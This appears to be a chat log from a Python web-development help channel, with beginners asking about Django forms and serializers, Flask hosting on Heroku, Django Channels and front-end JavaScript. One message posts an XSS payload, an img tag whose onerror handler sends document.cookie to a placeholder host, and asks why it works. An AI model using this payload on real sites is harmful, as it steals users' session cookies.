can anyone help ?
Can you show the view function(route) code for this template?
@buoyant plume Please don't try to ping @everyone or @here. Your message has been removed. If you believe this was a mistake, please let staff know!
Hii guys. I just created a React app that consumes a Django API.
Any ideas on hosting? Pls this is my first time.
I like heroku because its pretty easy to deploy stuff to
Is it free?
where should i host my flask website? im expecting some decent traffic so i need the hosting to be pretty good
any suggestions?
How decent is decent?
Heroku is still pretty great at scale, it's just premium
How many is that?
wdym
Like 10 concurrent users?
i looked into heroku its just so complicated to set up
Or 10,000?
call it 50
Heroku is literally the easiest
nah not that big
And yeah can easily handle 50 concurrent users for free
Sorry not in DMs
alr nw
I think it's pretty easy with heroku
<img src=x onerror="this.src='http://ipadress/?'+document.cookie; this.removeAttribute('onerror');">
can someone explain why this cross site scripting is working?
i dont understand the error part
Hello for blogging, I am fluent in Python, what are the frontal languages I need to learn?
Are html, css and flexbox languages enough?
Although I know Python, do I need JavaScript ??
Any Django gurus in here? I have been stuck on model.forms for a bit and curious to see if anyone can alleviate my pain w/ their wisdom.
not necessary
JS just provides dynamism
why do you need to do that?
that is...quite scary.
anyway, with proper devops, it will appear seamless, but having to effect a manual code change for each registration is...wild tbh
it's pretty easy! I've done it before
You should try Heroku
Yup
Just to elaborate on my issue:
I have an city object in my DB and display name, temperature, etc..
I also created a form that allows me to rate it.
I am unsure of how to have this form submit the rating while passing in the parent (city) pk.
If anyone can provide any insight into how to accomplish this ❤️
I think the issue lies in populating the rating form with the city object but I am not sure how to dynamically do that when there are multiple forms, one for each City.
Can we see some codes?
Hey @eternal blade!
Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:
• If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)
• If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:
django-channels ```py
from django.db.models.signals import post_save
from channels.layers import get_channel_layer
from asgiref.sync import async_to_sync
from django.dispatch import receiver
from .serializers import MessageSerializer
from base.models import Message
channel_layer = get_channel_layer()
@receiver(post_save, sender=Message)
def new_message(sender, instance, created, **kwargs):
serializer = MessageSerializer(instance)
if created:
chat_group = instance.channel.chat_group
for member in chat_group.members:
async_to_sync(channel_layer.send)(f"User{member.user.id}", {"type": "chat_message_send", "message": serializer.data})
else:
chat_group = instance.channel.chat_group
for member in chat_group.members:
async_to_sync(channel_layer.send)(f"User{member.user.id}",
{"type": "chat_message_edit", "message": serializer.data})
i want to find point from this table track_list = Sidings.objects.filter(
Q(siding_coordinates__topLeft__x__lte =x)&
Q(siding_coordinates__topRight__x__gte =x)&
Q(siding_coordinates__botLeft__x__lt =x)&
Q(siding_coordinates__botRight__x__gte =x)&
Q(siding_coordinates__topLeft__y__lte =y)&
Q(siding_coordinates__topRight__y__lte =y)&
Q(siding_coordinates__botLeft__y__gt =y)&
Q(siding_coordinates__botRight__y__gte =y)).values('siding_coordinates')
@autumn dust
# -- models.py
from django.db import models
# Create your models here.
class City(models.Model):
name = models.CharField(max_length=30)
class Rating(models.Model):
rating = models.IntegerField()
city = models.ForeignKey(City, on_delete=models.CASCADE)
# -- forms.py
class RatingForm(ModelForm):
class Meta:
model = Rating
fields = ['rating']
exclude = ['city']
# -- views.py
def index(request):
cities = City.objects.all()
ratingform = RatingForm()
if request.method == 'POST':
# Not sure how to get City object for current form into this Post
print(request.POST)
ratingform = RatingForm(request.POST)
if ratingform.is_valid():
# ratingform.instance.city = howtogetcity objet here
# This doesn't work yet
# ratingform.save
this way is not working for me, can any one suggest me
error read
TypeError: can not serialize 'UUID' object
check your messageSerializer and look at how you are serializing the UUID perhaps you r doing something wrong there. I dnt see anything wrong with ur channel
you have excluded city from the form because u dnt want to be provided the option to input a value for the city. That's okay.
but u can add a hidden input field and pass it the city id, and get it in your request
Thanks, I was debugging the wrong place
yes the problem was in the serializer
you welcome
plz can you help me
plz help me
@autumn dust How do I do this part pass it the city id, . This is where I am really stuck
do u knw abt django geolocation? It is the best solution for finding points and coordinates
I am guessing you are doing some kind of a loop to display the city names and inputs. so u can get the id of the city and add it to the hidden inpu like value="city.id"
<input type="hidden" id="city_id" name="city_id" value="city.id">
this is the json type obj in table {
'block_id': '1.0_B3',
'block_coordinates': {
'x': 1507.2816162109375,
'y': 776.7411499023438,
'pivot': {
'x': 1814.5316162109375,
'y': 806.2411499023438
},
'botLeft': {
'x': 1505.9722457931548,
'y': 814.236612827126
},
'topLeft': {
'x': 1510.0878777440582,
'y': 755.3803338617964
},
'botRight': {
'x': 2118.9753546778165,
'y': 857.1019659428911
},
'topRight': {
'x': 2123.09098662872,
'y': 798.2456869775615
},
'thetaDegrees': 4,
'thetaRadians': 0.06981317007977318
}
}
@autumn dust Oh, I will try to handle this logic in the template. That makes sense and hopefully will work, thanks.
ohk. then u have to explain a little bit what u want to do.
welcome
problem is, i want to find point, means ex,x=12322, y=3234, in reactagle
which means match with above coordinates, it point is matched i need return true
for that i have tried this way
am guessing this Slidings class created some where
really @scenic citrus i am struggling to understand your problem. sorry but i am
u mean u have this json converted to a Django model. Can i pls see the model
And u want to ckeck if point x and y are the same then u return true
i will show you screen's
that shd be helpful
What can be a better way to keep source foreign keys in a table?
Eg: User can be signed up from multiple forms. I want to keep references of each flow, so
class UserOnboarding(Model):
contact_form = models.ForeignKey(ContactForm)
sales_form = models.ForeignKey(SalesForm)
public_form = models.ForeignKey(PublicForm)
At one point, only 1 of them can be have a value and others will be None.
Everytime a new signup flow is added, new foreign key which will have null value for most cases again.
Any better way to solve/design this?
screen's not possible
the json is value in db for coordinates
that's too bad
okay
based on the coordinates i need to fined the point x, y
okay. i get it now
Can i see ur Sidings model?
yeah
class Sidings(models.Model):
siding_identifier = models.IntegerField(verbose_name="Siding Identifier")
name=models.CharField(max_length=20, verbose_name="Name")
start_point=models.JSONField(default=dict, verbose_name="Start Point")
supported_equipments=ArrayField(models.CharField(max_length=20), default=list, verbose_name="Supported Equipments")
operational_side = models.CharField(max_length=20, verbose_name="Operational Side")
siding_coordinates=models.JSONField(default=dict, verbose_name="Siding Coordinates")
siding_width = models.FloatField(verbose_name="Siding Width")
siding_length = models.FloatField(verbose_name="Siding Length")
rake = models.ForeignKey(Rake, on_delete=models.CASCADE,null=True,related_name='rake_sidings', verbose_name="Rake Sidings")
created_at
my input is x, y i want search that point is in with in coordinates or not
I am using Django for web dev and i want to display a set of choices on the frontend that represent the data in the database, and users must be able to select an option and I must be able to save the chosen option. How do I implement it, i have been struggling. Help.
What error are u getting pls?
use modelform
i'm not getting any error, my programe is not finding the point with in coordinates, it's giving empty query set[].
even the point in between coordinates
siding_coordinatestopLeftxlte
try sidings__coordinates__topLeft__x__lte
Model choice field?
will Q function condition work?
am looking into this..
how does this work?
try n let's hoping it will work
isi this okay, Sidings.objects.filter(
# Q(siding_coordinates__topLeft__x__lte =x)&
# Q(siding_coordinates__topRight__x__gte =x)&
# Q(siding_coordinates__botLeft__x__lt =x)&
# Q(siding_coordinates__botRight__x__gte =x)&
# Q(siding_coordinates__topLeft__y__lte =y)&
# Q(siding_coordinates__topRight__y__lte =y)&
# Q(siding_coordinates__botLeft__y__gt =y)&
# Q(siding_coordinates__botRight__y__gte =y)).values('siding_coordinates')
You don't need Q here, you can pass kwargs directly to filter
no i dnt think so.
then how could i write condition
in django class-based views is it able to point a url to a function in that class?
For example:
class Somthing(View):
def function(self,request):
pass
urlpatterns = [
path('',views.Something.function.as_view())
]
But the event doesn't seem to be sent through the websocket, this is the code for the consumer ```py
class ChatConsumer(WebsocketConsumer):
def connect(self):
user = self.scope["user"]
if not user.is_anonymous:
self.channel_name = f"User-{user.id}"
self.accept()
self.send(text_data=json.dumps(UserSerializer(user).data))
else:
self.close()
def disconnect(self, close_code):
pass
def receive(self, text_data):
print("received!")
data = json.loads(text_data)
def chat_message_send(self, event):
print(f"Sent msg to {self.channel_name}")
self.send(text_data=json.dumps(event["message"]))
def chat_message_delete(self, event):
self.send(text_data=json.dumps(event["message"]))
def chat_message_edit(self, event):
print(f"Sent edit to {self.channel_name}")
self.send(text_data=json.dumps(event["message"]))
Nothing gets printed
I want to be able to open a modal pop up window for quick view. Current code isn't showing modal when "quick view" button pressed. (i use Flask)
https://pastebin.com/Ca0sfAQT
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Python :@app.route("/category/<category>")
def product_section_page(category):
return render_template("products_page.html", title=f"Energizefit - {category}", products=list(product_col.find()), category=category)
is anyone familiar with sweetify ? im stuck on something and have checked all possible issues, and my brain is about to explode 😅
when i do a if request.method == 'POST' , i cannot generate any sweetify alerts (im using ajax as a post request) HOWEVER if i use the usual form post in the html, then the request.method== 'POST' works for a sweetify alert ?????????
$.ajax({
type: "POST",
url: "{% url 'application_approval' %}",
data: {
"decision": decisionBool,
"applicantID": applicantID,
"currentClub": '{{ club.id }}',
csrfmiddlewaretoken: window.CSRF_TOKEN,
},
});
}```
and if for example, i use a simple form post, it works for some strange reason ??
<form action="" method="post">
{% csrf_token %}
<button type="submit" name='joinClubButton' value={{club.id}}
onclick="applyToClub()">Apply Now</button>
</form>``` this is just an example, not apple to apple comparison essentially the same
@login_required
def application_approval(request):
if request.method == 'POST' :
sweetify.success(request, 'Application Accepted', icon='success', timer='3000', backdrop="false")
else:
sweetify.error(request, 'This user does not exist anymore', icon='error', button='Ok', timer='3000')
return render(request, 'application_approval.html', {'club': club, 'applicantList': clubApplicantList})```
^ sample views.py
how can i make my text on a html website go smaller when the window goes smaller
so it all fits
?
put it in a container ?
Hello
The following line of code isn't working correctly : document.getElementById(id).style.display = "block";
It shows the element the first time the button is clicked but not the second time where I can press the buttons but they aren't visible.
I found the issue
opacity was = 0
Why isn't the following code not working : document.getElementById(id).style.transition = "all 0.1s ease-in";
why is this not working?
because you didnt link the js file
uWSGI looks really good for a Django website; is it a sensible choice over mod_wsgi for a beginner?
Hey - on Django I have a 1 - many related table and I've created a nested serializer to join them. My view is using model.Objects.All() and the query speed is really slow.
I can't figure out to optimise this as .select_related returns that there are 'none' related. Any help would be great! 🙂
Check this out. It's a good guide using uWSGI. https://tonyteaches.tech/django-nginx-uwsgi-tutorial/
I think you need to do prefetch_related @hasty glacier
Nice. Recent too. Nginx is one of the parts I wasn't sure about but thought it would be good to have some familiarity with.
Thanks.
This is my thinking too but I'm unsure how to use it here. Any suggestions?
in your queryset=Jobs.objects.all().prefetch_related('tasks')
Perfect!!
there are some caveats in when you execute the prefetch related but I forget what they are. Like if you do things after it, it overwrites the prefetch related part
I was doing queryset=Jobs.prefect_related('tasks)... woops...
ah
Cheers - load time went from 6s to 500ms. 👍
Question regarding using Graphene with SQLAlchemy and Relay. If I have a query set up that will return all nodes (e.g. Books). How do I allow for queries for a single book? I want to be able to search for the single book based on a field I've defined (ISBN number) as opposed to the ID this generated by graphene/relay (because I wouldn't know what that is in advance).
I've tried creating a resolver function in the Query class that would take the ISBN number, query the database and return the book data in the response, but the result when I test in graphiql is null
So, in this set up: django-nginx-uwsgi-tutorial/ Apache is redundant?
it's a flask app
When I originally worked on the graphene tutorial it was possible to have multiple resolvers under a single query class. Is there something that would prevent a regular resolver and a resolver that uses relay node
class StateQuery(ObjectType):
def resolve_state(root, info, ccode):
return _get_state(ccode)
all_states = SQLAlchemyConnectionField(StateNode.connection)
schema = Schema(query=StateQuery)
-eeek
Guys I'm trying to make a website, except I don't know what I'm doing
From what I've gathered, websites start off with HTML, get pretty with CSS, go nuts with JS, get generated by frameworks (Django), get hosted by servers-and-you-thought-JS-was-bad.
I think a website is one of those things that no one person can really do fully because it involves so many different disciplines (SOE, design, dev, sys admin...).
Well that's just great
A single person can do it, it just requires knowledge in quite a few areas